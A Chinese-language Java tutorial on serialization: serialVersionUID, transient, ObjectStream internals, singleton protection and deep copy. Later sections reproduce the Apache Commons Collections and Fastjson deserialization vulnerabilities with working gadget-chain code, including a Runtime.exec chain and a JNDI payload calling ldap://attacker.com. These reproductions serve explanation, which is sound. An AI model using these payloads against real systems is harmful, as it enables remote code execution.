一、序列化
Java 序列化是将对象转换为字节流的过程,以便可以将其保存到文件、通过网络传输或在内存中存储。反序列化则是将字节流转换回对象的过程。Java 提供了内置的序列化机制,主要通过 java.io.Serializable 接口实现。
1. Serializable 接口
要使一个类的对象可序列化,该类必须实现 java.io.Serializable 接口。这个接口是一个标记接口(没有方法),仅用于标识类的对象可以被序列化。
import java.io.Serializable;
public class Person implements Serializable {
private static final long serialVersionUID = 1L;
private String name;
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
@Override
public String toString() {
return "Person{name='" + name + "', age=" + age + "}";
}
}
1.2 serialVersionUID
serialVersionUID 是一个用于标识序列化类的版本的字段。如果在序列化后类的结构发生了变化(如添加或删除字段),反序列化时会根据 serialVersionUID 来判断是否兼容。如果没有显式定义 serialVersionUID,Java 会自动生成一个,但建议显式定义以避免兼容性问题。
-
随便更改 serialVersionUID 可能引发的问题
- 反序列化失败
- 当对象被序列化时,Java 会将当前类的 serialVersionUID 写入字节流。
- 在反序列化时,Java 会检查字节流中的 serialVersionUID 是否与当前类的 serialVersionUID 一致。
- 如果两者不一致,Java 会抛出 InvalidClassException,导致反序列化失败。
- 破坏兼容性
- serialVersionUID 是类的版本标识符。如果类的结构(如字段、方法)发生变化,但 serialVersionUID 保持不变,Java 会尝试兼容旧版本的序列化数据。
- 如果随意更改 serialVersionUID,即使类的结构没有变化,也会破坏与旧版本序列化数据的兼容性。
- 反序列化失败
-
自动生成的 serialVersionUID 可能引发的问题
- 如果没有显式定义 serialVersionUID,Java 会根据类的结构(字段、方法、接口等)自动生成一个 serialVersionUID。
- 如果类的结构发生变化(如添加或删除字段),自动生成的 serialVersionUID 也会发生变化,这会导致反序列化失败。
-
如何正确使用 serialVersionUID
- 显式定义 serialVersionUID:
- 在实现 Serializable 接口的类中,显式定义一个 serialVersionUID 字段。
- 谨慎修改 serialVersionUID:
- 如果类的结构发生了不兼容的更改(如删除字段、更改字段类型),应该更新 serialVersionUID。
- 如果类的结构发生了兼容的更改(如添加新字段),可以保持 serialVersionUID 不变。
- 显式定义 serialVersionUID:
1.3 transient
在 Java 序列化中,transient 关键字用于标记类的字段,表示该字段不应被序列化。当一个对象被序列化时,所有非 transient 的字段都会被写入字节流,而 transient 字段会被忽略。在反序列化时,transient 字段会被初始化为默认值(如 null、0 或 false)。
-
transient 的作用
- 防止敏感数据被序列化:
- 如果某些字段包含敏感信息(如密码、密钥等),可以使用 transient 关键字防止这些字段被序列化,从而避免数据泄露。
- 节省存储空间和网络带宽:
- 如果某些字段是临时数据或可以通过其他方式重新计算,可以使用 transient 关键字避免序列化这些字段,从而减少序列化后的数据大小。
- 避免序列化不支持序列化的对象:
- 如果某个字段引用了不支持序列化的对象(如 Thread 或 Socket),可以使用 transient 关键字避免序列化时抛出 NotSerializableException。
- 防止敏感数据被序列化:
-
transient 字段的默认值
在反序列化时,transient 字段会被初始化为默认值:- 对于引用类型(如 String、Object),默认值为 null。
- 对于基本类型(如 int、boolean),默认值为 0 或 false。
-
transient 与 static 的区别
- transient 字段不会被序列化,但在反序列化后会初始化为默认值。
- static 字段属于类而不是对象,因此不会被序列化。即使反序列化后,static 字段的值也不会受到影响。
1.4 序列化过程
使用 ObjectOutputStream 将对象写入字节流。
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class SerializeExample {
public static void main(String[] args) {
Person person = new Person("Alice", 30);
try (FileOutputStream fileOut = new FileOutputStream("person.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut)) {
out.writeObject(person);
System.out.println("Serialized data is saved in person.ser");
} catch (IOException e) {
e.printStackTrace();
}
}
}
1.5 序列化底层原理
Java 序列化的底层原理主要包括对象图的遍历、字节流的生成和解析等。以下是 Java 序列化的底层原理的详细介绍:
- 序列化的核心概念
- 对象图(Object Graph):序列化不仅仅是序列化单个对象,而是序列化整个对象图。对象图包括目标对象及其引用的所有对象(递归)。
- 字节流(Byte Stream):序列化的结果是一个字节流,可以存储到文件、通过网络传输或在内存中保存。
- 元数据(Metadata):序列化过程中会保存对象的类信息(如类名、字段类型等),以便在反序列化时能够正确恢复对象。
- 序列化的步骤
Java 序列化的过程可以分为以下几个步骤:- 对象图的遍历
- 从目标对象开始,递归遍历所有引用的对象。
- 对于每个对象,检查其是否实现了 Serializable 接口。如果未实现,则抛出 NotSerializableException。
- 生成字节流
- 将对象的类信息(如类名、serialVersionUID、字段类型等)写入字节流。
- 将对象的非 transient 和非 static 字段的值写入字节流。
- 对于引用类型的字段,递归执行序列化。
- 使用 ObjectOutputStream 将生成的字节流写入目标输出流(如文件、网络等)。
- 对象图的遍历
- 序列化的底层实现
- Java 序列化的底层实现依赖于 ObjectOutputStream。以下是它们的核心工作原理:
- ObjectOutputStream 使用 writeObject 方法将对象转换为字节流。
- 内部使用 ObjectStreamClass 类来描述对象的类信息。
- 对于每个对象,ObjectOutputStream 会执行以下操作:
- 写入对象的类描述符(包括类名、serialVersionUID、字段类型等)。
- 写入对象的字段值(非 transient 和非 static 字段)。
- 对于引用类型的字段,递归调用 writeObject。
- Java 序列化的底层实现依赖于 ObjectOutputStream。以下是它们的核心工作原理:
二、反序列化
Java 反序列化是将字节流转换回对象的过程,恢复对象的状态。它是 Java 序列化机制的逆过程,依赖于 ObjectInputStream 类来实现。反序列化的核心是从字节流中读取对象的类信息和字段值,并通过反射创建对象实例。
2.1 反序列化的核心概念
- 字节流(Byte Stream):
- 反序列化的输入是一个字节流,通常来自文件、网络或内存。
- 类信息(Class Metadata):
- 字节流中包含了对象的类信息(如类名、字段类型等),用于在反序列化时创建正确的对象实例。
- 对象状态(Object State):
- 字节流中保存了对象的字段值,反序列化时会将这些值赋给对象的对应字段。
2.2 反序列化的步骤
Java 反序列化的过程可以分为以下几个步骤:
- 读取字节流
- 使用 ObjectInputStream 从输入流(如文件、网络等)中读取字节流。
- 解析类信息
- 从字节流中读取对象的类信息(如类名、serialVersionUID、字段类型等)。
- 检查当前 JVM 中是否存在对应的类。如果不存在,则抛出 ClassNotFoundException。
- 创建对象实例
- 根据类信息,通过反射创建对象的实例。注意,反序列化不会调用类的构造函数。
- 恢复对象状态
- 从字节流中读取字段的值,并通过反射将其赋给对象的对应字段。
- 对于引用类型的字段,递归执行反序列化。
- 调用 readResolve 方法(如果存在)
- 如果对象实现了 readResolve 方法,则调用该方法返回的对象,替代反序列化生成的对象。
2.3 反序列化的底层实现
Java 反序列化的底层实现依赖于 ObjectInputStream 类。以下是它的核心工作原理:
- ObjectInputStream
- ObjectInputStream 使用 readObject 方法从字节流中恢复对象。
- 内部使用 ObjectStreamClass 类来解析类信息。
- 对于每个对象,ObjectInputStream 会执行以下操作:
- 读取对象的类描述符(包括类名、serialVersionUID、字段类型等)。
- 根据类信息创建对象的实例(不调用构造函数)。
- 读取字段的值,并通过反射将其赋给对象的对应字段。
- 对于引用类型的字段,递归调用 readObject。
- ObjectStreamClass
- ObjectStreamClass 是 Java 序列化机制中用于描述类的元数据的类。
- 它包含了类的名称、serialVersionUID、字段信息等。
- 在反序列化时,ObjectInputStream 使用 ObjectStreamClass 来解析字节流中的类信息。
2.4 反序列化的性能优化
- 避免重复反序列化:
- Java 序列化会为每个对象分配一个唯一的句柄。如果同一个对象被多次引用,只会反序列化一次,后续引用使用句柄代替。
- 使用外部化(Externalizable):
- 与 Serializable 不同,Externalizable 接口允许完全控制序列化和反序列化的过程,可以进一步优化性能。
2.5 反序列化的注意事项
- 类的兼容性:
- 反序列化时,字节流中的类信息必须与当前 JVM 中的类兼容。如果类的结构发生了变化(如字段类型更改),可能会导致 InvalidClassException。
- 安全性问题:
- 反序列化可能引发安全漏洞(如反序列化攻击),因此需要谨慎处理不可信的数据。
- 性能问题:
- 反序列化涉及反射和递归操作,性能较低,尤其是在处理大量数据时。
2.6 自定义反序列化
可以通过实现 readObject 方法来自定义反序列化过程。例如,可以在反序列化时对字段进行额外的验证或初始化。
import java.io.*;
public class CustomDeserializationExample implements Serializable {
private static final long serialVersionUID = 1L;
private String name;
private transient int age; // 不会被默认序列化
public CustomDeserializationExample(String name, int age) {
this.name = name;
this.age = age;
}
// 自定义反序列化逻辑
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject(); // 默认反序列化
age = in.readInt(); // 手动反序列化 age
}
// 自定义序列化逻辑
private void writeObject(ObjectOutputStream out) throws IOException {
out.defaultWriteObject(); // 默认序列化
out.writeInt(age); // 手动序列化 age
}
@Override
public String toString() {
return "CustomDeserializationExample{name='" + name + "', age=" + age + "}";
}
public static void main(String[] args) {
// 序列化
try (FileOutputStream fileOut = new FileOutputStream("data.ser");
ObjectOutputStream out = new ObjectOutputStream(fileOut)) {
CustomDeserializationExample obj = new CustomDeserializationExample("Alice", 25);
out.writeObject(obj);
System.out.println("Serialized data is saved in data.ser");
} catch (IOException e) {
e.printStackTrace();
}
// 反序列化
try (FileInputStream fileIn = new FileInputStream("data.ser");
ObjectInputStream in = new ObjectInputStream(fileIn)) {
CustomDeserializationExample obj = (CustomDeserializationExample) in.readObject();
System.out.println("Deserialized Object: " + obj);
} catch (IOException | ClassNotFoundException e) {
e.printStackTrace();
}
}
}
三、序列化与反序列化常见问题
3.1 序列化如何破坏单例模式
- 反序列化创建新对象:
- 反序列化时,Java 会通过反射创建一个新的对象,而不是使用单例类的现有实例。
- 绕过构造函数:
- 反序列化不会调用单例类的构造函数,因此无法通过私有构造函数限制实例化。
- 独立的对象图:
- 反序列化生成的对象与单例类的现有实例是独立的,没有关联。
3.2 如何防止序列化破坏单例模式
为了防止序列化破坏单例模式,可以通过以下两种方式解决:
- 实现 readResolve 方法:
- readResolve 是 Java 序列化机制中的一个特殊方法。反序列化时,如果对象实现了 readResolve 方法,则会调用该方法返回的对象,而不是反序列化生成的新对象。
- 在单例类中实现 readResolve 方法,返回单例类的现有实例。
- 修改后的单例类:
public class Singleton implements Serializable { private static final long serialVersionUID = 1L; private static Singleton instance; private Singleton() {} public static Singleton getInstance() { if (instance == null) { instance = new Singleton(); } return instance; } // 防止反序列化破坏单例模式 protected Object readResolve() { return getInstance(); } }
- 使用枚举实现单例
- 枚举是实现单例模式的最佳方式之一。枚举实例的创建和序列化由 JVM 保证,天然支持单例模式。
- 枚举在反序列化时不会创建新的实例,因此不会破坏单例模式。
- 示例:
// 枚举单例实现: public enum EnumSingleton { INSTANCE; public void doSomething() { System.out.println("Doing something..."); } } // 测试代码: import java.io.*; public class EnumSingletonSerializationTest { public static void main(String[] args) { EnumSingleton instance1 = EnumSingleton.INSTANCE; // 序列化 try (FileOutputStream fileOut = new FileOutputStream("enum_singleton.ser"); ObjectOutputStream out = new ObjectOutputStream(fileOut)) { out.writeObject(instance1); System.out.println("Serialized EnumSingleton instance."); } catch (IOException e) { e.printStackTrace(); } // 反序列化 EnumSingleton instance2 = null; try (FileInputStream fileIn = new FileInputStream("enum_singleton.ser"); ObjectInputStream in = new ObjectInputStream(fileIn)) { instance2 = (EnumSingleton) in.readObject(); System.out.println("Deserialized EnumSingleton instance."); } catch (IOException | ClassNotFoundException e) { e.printStackTrace(); } // 检查是否为同一个实例 System.out.println("instance1 == instance2: " + (instance1 == instance2)); } } // 输出结果: Serialized EnumSingleton instance. Deserialized EnumSingleton instance. instance1 == instance2: true
3.3 如何使用序列化实现深拷贝
在 Java 中,通过序列化实现深拷贝的原理是:将对象序列化为字节流,然后再从字节流中反序列化出一个新的对象。这样,新对象和原对象是完全独立的,修改其中一个不会影响另一个。
-
实现步骤:
- 确保对象及其引用对象都实现了 Serializable 接口
- 如果对象或其引用的对象没有实现 Serializable 接口,序列化时会抛出 NotSerializableException。
- 将对象序列化为字节流
- 使用 ByteArrayOutputStream 和 ObjectOutputStream 将对象序列化为字节流。
- 从字节流中反序列化出新对象
- 使用 ByteArrayInputStream 和 ObjectInputStream 从字节流中反序列化出新对象。
- 确保对象及其引用对象都实现了 Serializable 接口
-
代码实现:
import java.io.*; public class DeepCopyUtil { /** * 使用序列化实现深拷贝 * * @param object 需要拷贝的对象 * @param <T> 对象的类型 * @return 深拷贝后的对象 * @throws IOException 如果序列化失败 * @throws ClassNotFoundException 如果反序列化失败 */ public static <T extends Serializable> T deepCopy(T object) throws IOException, ClassNotFoundException { // 将对象序列化为字节流 ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); try (ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream)) { objectOutputStream.writeObject(object); } // 从字节流中反序列化出新对象 ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray()); try (ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream)) { return (T) objectInputStream.readObject(); } } }
3.4 Apache-Commons-Collections的反序列化漏洞
-
漏洞原理
- 该漏洞的核心在于 Apache Commons Collections 库中的一些类(如 Transformer、InvokerTransformer 等)可以被恶意利用,通过 Java 反序列化机制执行任意代码。
-
Apache Commons Collections 中的危险类
- Transformer 接口:
- Transformer 是一个函数式接口,用于将一个对象转换为另一个对象。
- InvokerTransformer 类:
- InvokerTransformer 是 Transformer 的一个实现类,它可以通过反射调用任意方法。
- ChainedTransformer 类:
- ChainedTransformer 可以将多个 Transformer 串联起来,依次执行。
- ConstantTransformer 类:
- ConstantTransformer 总是返回一个常量值。
- Transformer 接口:
-
漏洞利用链
攻击者可以通过构造一个恶意的序列化对象,利用以下类和方法形成利用链:- AnnotationInvocationHandler(JDK 内部类):用于触发反序列化。
- LazyMap 或 TransformedMap:用于触发 Transformer 的执行
- InvokerTransformer:通过反射调用任意方法(如 Runtime.exec()),从而执行任意代码。
-
漏洞触发过程
- 攻击者构造一个恶意的序列化对象,其中包含利用链。
- 目标应用程序反序列化该对象。
- 反序列化过程中,InvokerTransformer 通过反射调用 Runtime.exec(),执行攻击者指定的命令。
-
漏洞复现
以下是一个简单的漏洞复现代码:import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map; public class CommonsCollectionsExploit { public static void main(String[] args) throws Exception { // 构造恶意 Transformer 链 Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) // 执行计算器 }; Transformer transformerChain = new ChainedTransformer(transformers); // 构造恶意 Map Map<String, String> innerMap = new HashMap<>(); innerMap.put("key", "value"); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); // 通过反射创建 AnnotationInvocationHandler 实例 Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); Object instance = constructor.newInstance(Override.class, outerMap); // 序列化恶意对象 ByteArrayOutputStream baos = new ByteArrayOutputStream(); try (ObjectOutputStream oos = new ObjectOutputStream(baos)) { oos.writeObject(instance); } // 反序列化触发漏洞 byte[] bytes = baos.toByteArray(); try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes))) { ois.readObject(); } } } // 运行结果: 在 Windows 系统上,上述代码会弹出计算器(calc.exe),证明漏洞利用成功。
3.5 Fastjson 反序列化漏洞
-
漏洞的原理
- Fastjson 反序列化漏洞的核心在于其 自动类型推导 机制。当 Fastjson 反序列化 JSON 数据时,如果 JSON 中包含 @type 字段,Fastjson 会根据该字段的值动态加载类,并调用其构造函数或 setter 方法。攻击者可以利用这一特性,构造恶意的 JSON 数据,触发目标类中的危险方法(如构造函数、setter 方法等),从而导致远程代码执行。
-
@type 字段的作用
- @type 字段用于指定目标类的全限定名(Fully Qualified Name)。
- 例如:
{ "@type": "com.example.User", "name": "Alice", "age": 25 }
- 在反序列化时,Fastjson 会尝试加载 com.example.User 类,并调用其 setName 和 setAge 方法。
-
漏洞利用链
攻击者可以通过构造恶意的 JSON 数据,利用以下类和方法形成利用链:- JdbcRowSetImpl 类:
- JdbcRowSetImpl 是 JDK 中的一个类,用于操作数据库。它的 setDataSourceName 和 setAutoCommit 方法可以通过 JNDI 注入触发远程代码执行。
- TemplatesImpl 类:
- 攻击者可以通过 TemplatesImpl 类加载恶意字节码,从而执行任意代码。
- JdbcRowSetImpl 类:
-
漏洞触发过程
- 攻击者构造一个恶意的 JSON 数据,其中包含 @type 字段和目标类的危险方法。
- 目标应用程序使用 Fastjson 反序列化该 JSON 数据。
- Fastjson 根据 @type 字段加载目标类,并调用其危险方法,从而导致远程代码执行。
-
漏洞复现
- 利用 JdbcRowSetImpl 触发 JNDI 注入
import com.alibaba.fastjson.JSON; public class FastjsonExploit { public static void main(String[] args) { String payload = "{" + "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," + "\"dataSourceName\":\"ldap://attacker.com/Exploit\"," + "\"autoCommit\":true" + "}"; JSON.parse(payload); // 触发漏洞 } } 运行结果: 如果目标应用程序使用 Fastjson 反序列化上述 JSON 数据, 且 attacker.com 提供了一个恶意的 JNDI 服务,攻击者可以在目标系统上执行任意代码。
- 利用 TemplatesImpl 加载恶意字节码
import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; public class FastjsonExploit { public static void main(String[] args) { String payload = "{" + "\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," + "\"_bytecodes\":[\"yv66vgAAADQA...\"]," + // 恶意字节码 "\"_name\":\"Exploit\"," + "\"_tfactory\":{}," + "\"_outputProperties\":{}" + "}"; ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 启用 AutoType JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField); // 触发漏洞 } } 运行结果: 如果目标应用程序使用 Fastjson 反序列化上述 JSON 数据,攻击者可以在目标系统上执行任意代码。
- 利用 JdbcRowSetImpl 触发 JNDI 注入
3.6 JavaBean属性名对序列化的影响有哪些
JavaBean 的属性名对序列化和反序列化过程有重要影响,尤其是在使用一些序列化框架(如 Fastjson、Jackson、Gson 等)时。以下是 JavaBean 属性名对序列化的影响的详细介绍:
-
属性名对序列化的影响
- 在序列化和反序列化过程中,JavaBean 的属性名决定了 JSON 数据中的字段名。不同的序列化框架对属性名的处理方式有所不同。
- 默认行为
- Fastjson:
- Fastjson 默认使用 getter 方法的名称推导 JSON 字段名。例如,getName() 方法对应的 JSON 字段名为 name。
- Jackson:
- Jackson 默认使用属性名作为 JSON 字段名。例如,属性 name 对应的 JSON 字段名为 name。
- Gson:
- Gson 默认使用属性名作为 JSON 字段名。例如,属性 name 对应的 JSON 字段名为 name。
- Fastjson:
- 属性名与 JSON 字段名的映射
- 如果 JavaBean 的属性名与 JSON 字段名一致,序列化和反序列化可以正常工作。
- 如果 JavaBean 的属性名与 JSON 字段名不一致,需要通过注解或配置指定映射关系。
- 默认行为
- 在序列化和反序列化过程中,JavaBean 的属性名决定了 JSON 数据中的字段名。不同的序列化框架对属性名的处理方式有所不同。
-
属性名不一致的解决方案
- 当 JavaBean 的属性名与 JSON 字段名不一致时,可以通过以下方式解决:
- 使用注解
- Fastjson:使用 @JSONField 注解指定 JSON 字段名。
public class User { @JSONField(name = "username") private String name; @JSONField(name = "user_age") private int age; // getter 和 setter 方法 }
- Jackson:使用 @JsonProperty 注解指定 JSON 字段名。
public class User { @JsonProperty("username") private String name; @JsonProperty("user_age") private int age; // getter 和 setter 方法 }
- Gson:使用 @SerializedName 注解指定 JSON 字段名。
public class User { @SerializedName("username") private String name; @SerializedName("user_age") private int age; // getter 和 setter 方法 }
- Fastjson:使用 @JSONField 注解指定 JSON 字段名。
- 使用注解
- 当 JavaBean 的属性名与 JSON 字段名不一致时,可以通过以下方式解决:
-
属性名对反序列化的影响
反序列化时,序列化框架会根据 JSON 字段名查找 JavaBean 的属性或 setter 方法。如果 JSON 字段名与 JavaBean 的属性名不一致,反序列化会失败。- 默认行为
- Fastjson:
- Fastjson 会根据 JSON 字段名查找对应的 setter 方法。例如,JSON 字段 username 会调用 setUsername 方法。
- Jackson:
- Jackson 会根据 JSON 字段名查找对应的属性或 setter 方法。例如,JSON 字段 username 会调用 setUsername 方法。
- Gson:
- Gson 会根据 JSON 字段名查找对应的属性或 setter 方法。例如,JSON 字段 username 会调用 setUsername 方法。
- Fastjson:
- 默认行为